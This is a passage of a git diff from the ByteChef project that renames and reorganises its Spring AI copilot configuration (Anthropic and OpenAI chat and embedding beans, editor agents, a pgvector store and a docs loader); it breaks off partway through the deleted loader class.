- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.boot;
-
-import java.util.HashMap;
-import java.util.Map;
-import org.springframework.boot.EnvironmentPostProcessor;
-import org.springframework.boot.SpringApplication;
-import org.springframework.core.env.ConfigurableEnvironment;
-import org.springframework.core.env.MapPropertySource;
-import org.springframework.core.env.MutablePropertySources;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class CopilotEnvironmentPostProcessor implements EnvironmentPostProcessor {
-
-    @Override
-    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
-        Map<String, Object> source = new HashMap<>();
-
-        if (environment.getProperty("bytechef.ai.copilot.enabled", Boolean.class, false)) {
-            String provider = environment.getProperty("bytechef.ai.copilot.provider");
-
-            source.put("spring.ai.model.chat", provider);
-            source.put("spring.ai.vectorstore.type", "pgvector");
-        }
-
-        MapPropertySource mapPropertySource = new MapPropertySource("Custom AI Copilot Config", source);
-
-        MutablePropertySources mutablePropertySources = environment.getPropertySources();
-
-        mutablePropertySources.addFirst(mapPropertySource);
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/AiCopilotConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/AiCopilotConfiguration.java
new file mode 100644
index 00000000000..b0e99819171
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/AiCopilotConfiguration.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.config;
+
+import com.agui.core.exception.AGUIException;
+import com.agui.core.state.State;
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectToolsImpl;
+import com.bytechef.ai.mcp.tool.automation.impl.ProjectWorkflowToolsImpl;
+import com.bytechef.ai.mcp.tool.platform.ComponentTools;
+import com.bytechef.ai.mcp.tool.platform.TaskTools;
+import com.bytechef.atlas.configuration.service.WorkflowService;
+import com.bytechef.config.ApplicationProperties;
+import com.bytechef.config.ApplicationProperties.Ai.Copilot.Anthropic;
+import com.bytechef.config.ApplicationProperties.Ai.Copilot.OpenAi;
+import com.bytechef.ee.ai.copilot.agent.CodeEditorSpringAIAgent;
+import com.bytechef.ee.ai.copilot.agent.WorkflowEditorSpringAIAgent;
+import com.bytechef.ee.ai.copilot.model.SafeAnthropicChatModel;
+import com.bytechef.ee.ai.copilot.util.Source;
+import com.github.mizosoft.methanol.Methanol;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.micrometer.observation.ObservationRegistry;
+import java.io.InputStream;
+import java.net.http.HttpClient;
+import java.nio.charset.StandardCharsets;
+import java.time.Duration;
+import java.util.List;
+import org.springframework.ai.anthropic.AnthropicChatModel;
+import org.springframework.ai.anthropic.AnthropicChatOptions;
+import org.springframework.ai.anthropic.api.AnthropicApi;
+import org.springframework.ai.chat.memory.ChatMemory;
+import org.springframework.ai.chat.memory.InMemoryChatMemoryRepository;
+import org.springframework.ai.chat.memory.MessageWindowChatMemory;
+import org.springframework.ai.chat.model.ChatModel;
+import org.springframework.ai.document.MetadataMode;
+import org.springframework.ai.model.tool.ToolCallingManager;
+import org.springframework.ai.openai.OpenAiChatModel;
+import org.springframework.ai.openai.OpenAiChatOptions;
+import org.springframework.ai.openai.OpenAiEmbeddingModel;
+import org.springframework.ai.openai.OpenAiEmbeddingOptions;
+import org.springframework.ai.openai.api.OpenAiApi;
+import org.springframework.ai.retry.RetryUtils;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.io.Resource;
+import org.springframework.http.client.JdkClientHttpRequestFactory;
+import org.springframework.web.client.RestClient;
+
+/**
+ * @version ee
+ *
+ * @author Marko Kriskovic
+ */
+@Configuration
+@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
+public class AiCopilotConfiguration {
+
+    private final String anthropicApiKey;
+    private final String anthropicChatModel;
+    private final Double anthropicChatTemperature;
+    private final String anthropicEmbeddingModel;
+    private final String openAiApiKey;
+    private final String openAiChatModel;
+    private final Double openAiChatTemperature;
+    private final String openAiEmbeddingModel;
+    private final Resource systemPromptResource;
+
+    @SuppressFBWarnings("EI")
+    public AiCopilotConfiguration(
+        ApplicationProperties applicationProperties,
+        @Value("classpath:system_prompt.txt") Resource systemPromptResource) {
+
+        ApplicationProperties.Ai.Copilot copilot = applicationProperties.getAi()
+            .getCopilot();
+
+        Anthropic anthropic = copilot.getAnthropic();
+
+        this.anthropicApiKey = anthropic.getApiKey();
+
+        Anthropic.Chat.Options anthropicChatOptions = anthropic.getChat()
+            .getOptions();
+
+        this.anthropicChatModel = anthropicChatOptions.getModel();
+        this.anthropicChatTemperature = anthropicChatOptions.getTemperature();
+
+        Anthropic.Embedding.OpenAi.Options anthropicEmbeddingOpenAiOptions = anthropic.getEmbedding()
+            .getOpenAi()
+            .getOptions();
+
+        this.anthropicEmbeddingModel = anthropicEmbeddingOpenAiOptions.getModel();
+
+        OpenAi openAi = copilot.getOpenAi();
+
+        this.openAiApiKey = openAi.getApiKey();
+
+        OpenAi.Chat.Options openAiChatOptions = openAi.getChat()
+            .getOptions();
+
+        this.openAiChatModel = openAiChatOptions.getModel();
+        this.openAiChatTemperature = openAiChatOptions.getTemperature();
+
+        OpenAi.Embedding.Options openAiEmbeddingOptions = openAi.getEmbedding()
+            .getOptions();
+
+        this.openAiEmbeddingModel = openAiEmbeddingOptions.getModel();
+
+        this.systemPromptResource = systemPromptResource;
+    }
+
+    @Bean
+    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
+    AnthropicApi anthropicApi() {
+        return AnthropicApi.builder()
+            .apiKey(anthropicApiKey)
+            .restClientBuilder(getRestClientBuilder())
+            .build();
+    }
+
+    @Bean
+    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
+    AnthropicChatModel anthropicChatModel() {
+        return new SafeAnthropicChatModel(
+            anthropicApi(),
+            AnthropicChatOptions.builder()
+                .model(anthropicChatModel)
+                .temperature(anthropicChatTemperature)
+                .maxTokens(64000)
+                .build(),
+            ToolCallingManager.builder()
+                .build(),
+            RetryUtils.DEFAULT_RETRY_TEMPLATE,
+            ObservationRegistry.NOOP);
+    }
+
+    @Bean
+    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
+    OpenAiEmbeddingModel anthropicOpenAiEmbeddingModel(OpenAiApi openAiApi) {
+        return new OpenAiEmbeddingModel(
+            openAiApi,
+            MetadataMode.ALL,
+            OpenAiEmbeddingOptions.builder()
+                .model(anthropicEmbeddingModel)
+                .build());
+    }
+
+    @Bean
+    ChatMemory chatMemory() {
+        return MessageWindowChatMemory.builder()
+            .chatMemoryRepository(new InMemoryChatMemoryRepository())
+            .maxMessages(500)
+            .build();
+    }
+
+    @Bean
+    CodeEditorSpringAIAgent codeEditorSpringAIAgent(ChatMemory chatMemory, ChatModel chatModel) throws AGUIException {
+        String name = Source.CODE_EDITOR.name();
+
+        return CodeEditorSpringAIAgent.builder()
+            .agentId(name.toLowerCase())
+            .chatMemory(chatMemory)
+            .chatModel(chatModel)
+            .state(new State())
+            .build();
+    }
+
+    @Bean
+    OpenAiApi openAiApi() {
+        return OpenAiApi.builder()
+            .apiKey(openAiApiKey)
+            .restClientBuilder(getRestClientBuilder())
+            .build();
+    }
+
+    @Bean
+    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "openai")
+    OpenAiChatModel openAiChatModel(OpenAiApi openAiApi) {
+        return OpenAiChatModel.builder()
+            .openAiApi(openAiApi)
+            .defaultOptions(
+                OpenAiChatOptions.builder()
+                    .model(openAiChatModel)
+                    .temperature(openAiChatTemperature)
+                    .build())
+            .build();
+    }
+
+    @Bean
+    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "openai")
+    OpenAiEmbeddingModel openAiEmbeddingModel(OpenAiApi openAiApi) {
+        return new OpenAiEmbeddingModel(
+            openAiApi,
+            MetadataMode.ALL,
+            OpenAiEmbeddingOptions.builder()
+                .model(openAiEmbeddingModel)
+                .build());
+    }
+
+    @Bean
+    WorkflowEditorSpringAIAgent workflowEditorSpringAIAgent(
+        ChatMemory chatMemory, ChatModel chatModel, ProjectToolsImpl projectTools,
+        ProjectWorkflowToolsImpl projectWorkflowTools, ComponentTools componentTools, TaskTools taskTools,
+        WorkflowService workflowService)
+        throws AGUIException {
+
+        String name = Source.WORKFLOW_EDITOR.name();
+
+        return WorkflowEditorSpringAIAgent.builder()
+            .agentId(name.toLowerCase())
+            .chatMemory(chatMemory)
+            .chatModel(chatModel)
+            .systemMessage(getSystemPrompt(systemPromptResource))
+            .state(new State())
+            .tools(List.of(projectTools, projectWorkflowTools, componentTools, taskTools))
+            .workflowService(workflowService)
+            .build();
+    }
+
+    private static RestClient.Builder getRestClientBuilder() {
+        HttpClient httpClient = Methanol.newBuilder()
+            .autoAcceptEncoding(true)
+            .connectTimeout(Duration.ofSeconds(60))
+            .defaultHeaders(httpHeaders -> {
+                httpHeaders.setHeader("Accept-Encoding", "gzip, deflate");
+            })
+            .headersTimeout(Duration.ofSeconds(60))
+            .readTimeout(Duration.ofSeconds(60))
+            .requestTimeout(Duration.ofSeconds(60))
+            .build();
+
+        JdkClientHttpRequestFactory jdkClientHttpRequestFactory = new JdkClientHttpRequestFactory(httpClient);
+
+        return RestClient.builder()
+            .requestFactory(jdkClientHttpRequestFactory);
+    }
+
+    private String getSystemPrompt(Resource systemPromptResource) {
+        try {
+            InputStream inputStream = systemPromptResource.getInputStream();
+
+            return new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
+        } catch (Exception e) {
+            throw new IllegalStateException(
+                "Failed to read system prompt resource: " + systemPromptResource.getDescription(), e);
+        }
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotConfiguration.java
deleted file mode 100644
index 8cccee26242..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotConfiguration.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.config;
-
-import com.agui.core.exception.AGUIException;
-import com.agui.core.state.State;
-import com.bytechef.ai.mcp.tool.automation.impl.ProjectToolsImpl;
-import com.bytechef.ai.mcp.tool.automation.impl.ProjectWorkflowToolsImpl;
-import com.bytechef.ai.mcp.tool.platform.ComponentTools;
-import com.bytechef.ai.mcp.tool.platform.TaskTools;
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.Ai.Anthropic;
-import com.bytechef.config.ApplicationProperties.Ai.OpenAi;
-import com.bytechef.ee.ai.copilot.agent.CodeEditorSpringAIAgent;
-import com.bytechef.ee.ai.copilot.agent.WorkflowEditorSpringAIAgent;
-import com.bytechef.ee.ai.copilot.model.SafeAnthropicChatModel;
-import com.bytechef.ee.ai.copilot.util.Source;
-import com.github.mizosoft.methanol.Methanol;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import io.micrometer.observation.ObservationRegistry;
-import java.io.InputStream;
-import java.net.http.HttpClient;
-import java.nio.charset.StandardCharsets;
-import java.time.Duration;
-import java.util.List;
-import org.springframework.ai.anthropic.AnthropicChatModel;
-import org.springframework.ai.anthropic.AnthropicChatOptions;
-import org.springframework.ai.anthropic.api.AnthropicApi;
-import org.springframework.ai.chat.memory.ChatMemory;
-import org.springframework.ai.chat.memory.InMemoryChatMemoryRepository;
-import org.springframework.ai.chat.memory.MessageWindowChatMemory;
-import org.springframework.ai.chat.model.ChatModel;
-import org.springframework.ai.document.MetadataMode;
-import org.springframework.ai.model.tool.ToolCallingManager;
-import org.springframework.ai.openai.OpenAiChatModel;
-import org.springframework.ai.openai.OpenAiChatOptions;
-import org.springframework.ai.openai.OpenAiEmbeddingModel;
-import org.springframework.ai.openai.OpenAiEmbeddingOptions;
-import org.springframework.ai.openai.api.OpenAiApi;
-import org.springframework.ai.retry.RetryUtils;
-import org.springframework.beans.factory.annotation.Value;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.core.io.Resource;
-import org.springframework.http.client.JdkClientHttpRequestFactory;
-import org.springframework.web.client.RestClient;
-
-/**
- * @version ee
- *
- * @author Marko Kriskovic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-public class CopilotConfiguration {
-
-    private final String anthropicApiKey;
-    private final String anthropicChatModel;
-    private final Double anthropicChatTemperature;
-    private final String anthropicEmbeddingModel;
-    private final String openAiApiKey;
-    private final String openAiChatModel;
-    private final Double openAiChatTemperature;
-    private final String openAiEmbeddingModel;
-    private final Resource systemPromptResource;
-
-    @SuppressFBWarnings("EI")
-    public CopilotConfiguration(
-        ApplicationProperties applicationProperties,
-        @Value("classpath:system_prompt.txt") Resource systemPromptResource) {
-
-        ApplicationProperties.Ai ai = applicationProperties.getAi();
-
-        Anthropic anthropic = ai.getAnthropic();
-
-        this.anthropicApiKey = anthropic.getApiKey();
-
-        Anthropic.Chat.Options anthropicChatOptions = anthropic.getChat()
-            .getOptions();
-
-        this.anthropicChatModel = anthropicChatOptions.getModel();
-        this.anthropicChatTemperature = anthropicChatOptions.getTemperature();
-
-        Anthropic.Embedding.OpenAi.Options anthropicEmbeddingOpenAiOptions = anthropic.getEmbedding()
-            .getOpenAi()
-            .getOptions();
-
-        this.anthropicEmbeddingModel = anthropicEmbeddingOpenAiOptions.getModel();
-
-        OpenAi openAi = ai.getOpenAi();
-
-        this.openAiApiKey = openAi.getApiKey();
-
-        OpenAi.Chat.Options openAiChatOptions = openAi.getChat()
-            .getOptions();
-
-        this.openAiChatModel = openAiChatOptions.getModel();
-        this.openAiChatTemperature = openAiChatOptions.getTemperature();
-
-        OpenAi.Embedding.Options openAiEmbeddingOptions = openAi.getEmbedding()
-            .getOptions();
-
-        this.openAiEmbeddingModel = openAiEmbeddingOptions.getModel();
-
-        this.systemPromptResource = systemPromptResource;
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
-    AnthropicApi anthropicApi() {
-        return AnthropicApi.builder()
-            .apiKey(anthropicApiKey)
-            .restClientBuilder(getRestClientBuilder())
-            .build();
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
-    AnthropicChatModel anthropicChatModel() {
-        return new SafeAnthropicChatModel(
-            anthropicApi(),
-            AnthropicChatOptions.builder()
-                .model(anthropicChatModel)
-                .temperature(anthropicChatTemperature)
-                .maxTokens(64000)
-                .build(),
-            ToolCallingManager.builder()
-                .build(),
-            RetryUtils.DEFAULT_RETRY_TEMPLATE,
-            ObservationRegistry.NOOP);
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "anthropic")
-    OpenAiEmbeddingModel anthropicOpenAiEmbeddingModel(OpenAiApi openAiApi) {
-        return new OpenAiEmbeddingModel(
-            openAiApi,
-            MetadataMode.ALL,
-            OpenAiEmbeddingOptions.builder()
-                .model(anthropicEmbeddingModel)
-                .build());
-    }
-
-    @Bean
-    ChatMemory chatMemory() {
-        return MessageWindowChatMemory.builder()
-            .chatMemoryRepository(new InMemoryChatMemoryRepository())
-            .maxMessages(500)
-            .build();
-    }
-
-    @Bean
-    CodeEditorSpringAIAgent codeEditorSpringAIAgent(ChatMemory chatMemory, ChatModel chatModel) throws AGUIException {
-        String name = Source.CODE_EDITOR.name();
-
-        return CodeEditorSpringAIAgent.builder()
-            .agentId(name.toLowerCase())
-            .chatMemory(chatMemory)
-            .chatModel(chatModel)
-            .state(new State())
-            .build();
-    }
-
-    @Bean
-    OpenAiApi openAiApi() {
-        return OpenAiApi.builder()
-            .apiKey(openAiApiKey)
-            .restClientBuilder(getRestClientBuilder())
-            .build();
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "openai")
-    OpenAiChatModel openAiChatModel(OpenAiApi openAiApi) {
-        return OpenAiChatModel.builder()
-            .openAiApi(openAiApi)
-            .defaultOptions(
-                OpenAiChatOptions.builder()
-                    .model(openAiChatModel)
-                    .temperature(openAiChatTemperature)
-                    .build())
-            .build();
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "provider", havingValue = "openai")
-    OpenAiEmbeddingModel openAiEmbeddingModel(OpenAiApi openAiApi) {
-        return new OpenAiEmbeddingModel(
-            openAiApi,
-            MetadataMode.ALL,
-            OpenAiEmbeddingOptions.builder()
-                .model(openAiEmbeddingModel)
-                .build());
-    }
-
-    @Bean
-    WorkflowEditorSpringAIAgent workflowEditorSpringAIAgent(
-        ChatMemory chatMemory, ChatModel chatModel, ProjectToolsImpl projectTools,
-        ProjectWorkflowToolsImpl projectWorkflowTools, ComponentTools componentTools, TaskTools taskTools,
-        WorkflowService workflowService)
-        throws AGUIException {
-
-        String name = Source.WORKFLOW_EDITOR.name();
-
-        return WorkflowEditorSpringAIAgent.builder()
-            .agentId(name.toLowerCase())
-            .chatMemory(chatMemory)
-            .chatModel(chatModel)
-            .systemMessage(getSystemPrompt(systemPromptResource))
-            .state(new State())
-            .tools(List.of(projectTools, projectWorkflowTools, componentTools, taskTools))
-            .workflowService(workflowService)
-            .build();
-    }
-
-    private static RestClient.Builder getRestClientBuilder() {
-        HttpClient httpClient = Methanol.newBuilder()
-            .autoAcceptEncoding(true)
-            .connectTimeout(Duration.ofSeconds(60))
-            .defaultHeaders(httpHeaders -> {
-                httpHeaders.setHeader("Accept-Encoding", "gzip, deflate");
-            })
-            .headersTimeout(Duration.ofSeconds(60))
-            .readTimeout(Duration.ofSeconds(60))
-            .requestTimeout(Duration.ofSeconds(60))
-            .build();
-
-        JdkClientHttpRequestFactory jdkClientHttpRequestFactory = new JdkClientHttpRequestFactory(httpClient);
-
-        return RestClient.builder()
-            .requestFactory(jdkClientHttpRequestFactory);
-    }
-
-    private String getSystemPrompt(Resource systemPromptResource) {
-        try {
-            InputStream inputStream = systemPromptResource.getInputStream();
-
-            return new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
-        } catch (Exception e) {
-            throw new IllegalStateException(
-                "Failed to read system prompt resource: " + systemPromptResource.getDescription(), e);
-        }
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotPgVectorConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotPgVectorConfiguration.java
deleted file mode 100644
index ab3cd009217..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotPgVectorConfiguration.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.ai.copilot.config;
-
-import io.micrometer.observation.ObservationRegistry;
-import org.springframework.ai.embedding.BatchingStrategy;
-import org.springframework.ai.embedding.EmbeddingModel;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.ai.vectorstore.observation.VectorStoreObservationConvention;
-import org.springframework.ai.vectorstore.pgvector.PgVectorStore;
-import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
-import org.springframework.beans.factory.ObjectProvider;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-import org.springframework.jdbc.core.JdbcTemplate;
-
-@Configuration
-@EnableJdbcRepositories(
-    basePackages = "com.bytechef.ee.ai.copilot.repository",
-    jdbcAggregateOperationsRef = "pgVectorJdbcAggregateTemplate",
-    transactionManagerRef = "pgVectorTransactionManager")
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-public class CopilotPgVectorConfiguration {
-
-    @Bean
-    public VectorStore aiCopilotPgVectorStore(
-        @Qualifier("pgVectorJdbcTemplate") JdbcTemplate pgVectorJdbcTemplate,
-        EmbeddingModel embeddingModel, PgVectorStoreProperties properties,
-        ObjectProvider<ObservationRegistry> observationRegistry,
-        ObjectProvider<VectorStoreObservationConvention> customObservationConvention,
-        BatchingStrategy batchingStrategy) {
-
-        return PgVectorStore.builder(pgVectorJdbcTemplate, embeddingModel)
-            .schemaName(properties.getSchemaName())
-            .idType(properties.getIdType())
-            .vectorTableName("copilot_" + properties.getTableName())
-            .vectorTableValidationsEnabled(properties.isSchemaValidation())
-            .dimensions(properties.getDimensions())
-            .distanceType(properties.getDistanceType())
-            .removeExistingVectorStoreTable(properties.isRemoveExistingVectorStoreTable())
-            .indexType(properties.getIndexType())
-            .initializeSchema(true)
-            .observationRegistry(observationRegistry.getIfUnique(() -> ObservationRegistry.NOOP))
-            .customObservationConvention(customObservationConvention.getIfAvailable(() -> null))
-            .batchingStrategy(batchingStrategy)
-            .maxDocumentBatchSize(properties.getMaxDocumentBatchSize())
-            .build();
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotVectorStoreLoaderConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotVectorStoreLoaderConfiguration.java
deleted file mode 100644
index 75c9c3ca5bd..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/CopilotVectorStoreLoaderConfiguration.java
+++ /dev/null
@@ -1,273 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.config;
-
-import com.bytechef.ee.ai.copilot.domain.CopilotVectorStore;
-import com.bytechef.ee.ai.copilot.service.CopilotVectorStoreService;
-import com.knuddels.jtokkit.api.EncodingType;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import org.apache.commons.lang3.StringUtils;
-import org.springframework.ai.document.Document;
-import org.springframework.ai.document.MetadataMode;
-import org.springframework.ai.embedding.TokenCountBatchingStrategy;
-import org.springframework.ai.vectorstore.VectorStore;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.boot.context.event.ApplicationStartedEvent;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.event.EventListener;
-import org.springframework.core.io.Resource;
-import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
-import org.springframework.core.io.support.ResourcePatternResolver;
-
-/**
- * @version ee
- *
- * @author Marko Kriskovic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-class CopilotVectorStoreLoaderConfiguration {
-
-    private static final String CATEGORY = "category";
-    private static final String CLASSPATH_DOCS_PATTERN = "classpath*:docs/**/*.md*";
-    private static final String DOCS = "docs";
-    private static final int MAX_TOKENS = 1536;
-    private static final String NAME = "name";
-
-    private final TokenCountBatchingStrategy batchingStrategy;
-    private final CopilotVectorStoreService copilotVectorStoreService;
-    private final ResourcePatternResolver resourcePatternResolver;
-    private final VectorStore vectorStore;
-
-    @SuppressFBWarnings(value = "EI")
-    public CopilotVectorStoreLoaderConfiguration(
-        CopilotVectorStoreService copilotVectorStoreService,
-        @Qualifier("aiCopilotPgVectorStore") VectorStore vectorStore) {
-
-        this.batchingStrategy = new TokenCountBatchingStrategy(
-            EncodingType.CL100K_BASE, 8191, 0.1, Document.DEFAULT_CONTENT_FORMATTER, MetadataMode.ALL);
-        this.copilotVectorStoreService = copilotVectorStoreService;
-        this.resourcePatternResolver = new PathMatchingResourcePatternResolver();
-        this.vectorStore = vectorStore;
-    }
-
-    @EventListener(ApplicationStartedEvent.class)
-    public void onApplicationStartedEvent() {
-        List<Map<String, Object>> vectorsMetadataList = getVectorsMetadataList();
-
-        storeDocsDocuments(vectorsMetadataList);
-    }
-
-    private void addDocumentChunks(
-        String name, List<Document> documents, String cleanedDocument, int hash) {
-
-        List<String> chunks = splitDocument(cleanedDocument.split("\\s+"));
-
-        for (String chunk : chunks) {
-            documents.add(new Document(chunk, Map.of(CATEGORY, DOCS, NAME, name, "hash", hash)));
-        }
-    }
-
-    private void addToDocuments(
-        List<Map<String, Object>> vectorStoreMetadataList, String name, String content,
-        List<Document> documents) {
-
-        String cleanedDocument = preprocessDocument(content);
-        int hash = cleanedDocument.hashCode();
-
-        if (!containsVectorStoreFile(vectorStoreMetadataList, name)) {
-            if (!cleanedDocument.isEmpty()) {
-                addDocumentChunks(name, documents, cleanedDocument, hash);
-            }
-        } else {
-            Optional<Map<String, Object>> vectorStoreFileMetadata = getVectorStoreFile(
-                vectorStoreMetadataList, name);
-
-            if (vectorStoreFileMetadata.isPresent()) {
-                Map<String, Object> fileMetadata = vectorStoreFileMetadata.get();
-                int vectorHash = (int) fileMetadata.get("hash");
-
-                if (vectorHash != hash) {
-                    deleteFromVectorStore(name, vectorHash);
-
-                    addDocumentChunks(name, documents, cleanedDocument, hash);
-                }
-            }
-        }
-    }
-
-    private static boolean containsVectorStoreFile(
-        List<Map<String, Object>> vectorStoreList, String fileName) {
-
-        return !vectorStoreList.isEmpty() && vectorStoreList.stream()
-            .anyMatch(map -> fileName.equals(map.get(NAME)) && DOCS.equals(map.get(CATEGORY)));
-    }
-
-    private void deleteFromVectorStore(String name, int hash) {
-        vectorStore.delete(String.format("name == '%s' AND category == '%s' AND hash == '%d'", name, DOCS, hash));
-    }
-
-    private static String extractDocName(Resource resource) {
-        try {
-            String uri = resource.getURI()
-                .toString();
-            int docsIndex = uri.indexOf("/docs/");
-
-            if (docsIndex != -1) {
-                return uri.substring(docsIndex + 6)
-                    .replaceAll("\\.(md|mdx)$", "");
-            }
-
-            String filename = resource.getFilename();
-
-            if (filename != null) {
-                return filename.replaceAll("\\.(md|mdx)$", "");
-            }
-        } catch (IOException ignored) {
-        }
-
-        return "unknown";
-    }
-
-    private static Optional<Map<String, Object>> getVectorStoreFile(
-        List<Map<String, Object>> vectorStoreList, String fileName) {
-
-        return vectorStoreList.stream()
-            .filter(map -> fileName.equals(map.get(NAME)) && DOCS.equals(map.get(CATEGORY)))
-            .findFirst();
-    }
-
-    private List<Map<String, Object>> getVectorsMetadataList() {
-        if (copilotVectorStoreService.count() > 0) {
-            return copilotVectorStoreService.findAll()
-                .stream()
-                .map(CopilotVectorStore::getMetadata)
-                .toList();
-        }
-
-        return List.of();
-    }
-
-    private static String preprocessDocument(String document) {
-        Pattern htmlTagsPattern = Pattern.compile("<[^>]*>");
-
-        Matcher matcher = htmlTagsPattern.matcher(document);
-
-        document = matcher.replaceAll("");
-
-        Pattern pixelLinkPattern = Pattern.compile("^!.+$", Pattern.MULTILINE);
-
-        Matcher pixelLinkMatcher = pixelLinkPattern.matcher(document);
-
-        document = pixelLinkMatcher.replaceAll("");
-
-        Pattern colonPattern = Pattern.compile("^\\|:.+$", Pattern.MULTILINE);
-
-        Matcher colonMatcher = colonPattern.matcher(document);
-
-        document = colonMatcher.replaceAll("");
-
-        Pattern linkPattern = Pattern.compile("^\\[.*\\)$", Pattern.MULTILINE);
-
-        Matcher linkMatcher = linkPattern.matcher(document);
-
-        document = linkMatcher.replaceAll("");
-
-        Pattern headerPattern = Pattern.compile("^---.*\\n([\\s\\S]*?)^---\n", Pattern.MULTILINE);
-
-        Matcher headerMatcher = headerPattern.matcher(document);
-
-        document = headerMatcher.replaceAll("");
-
-        Pattern propertiesPattern = Pattern.compile("^#### Properties.*$", Pattern.MULTILINE);
-
-        Matcher propertiesMatcher = propertiesPattern.matcher(document);
-
-        document = propertiesMatcher.replaceAll("");
-
-        Pattern tablePattern = Pattern.compile("^\\|.*\\|$", Pattern.MULTILINE);
-
-        Matcher tableMatcher = tablePattern.matcher(document);
-
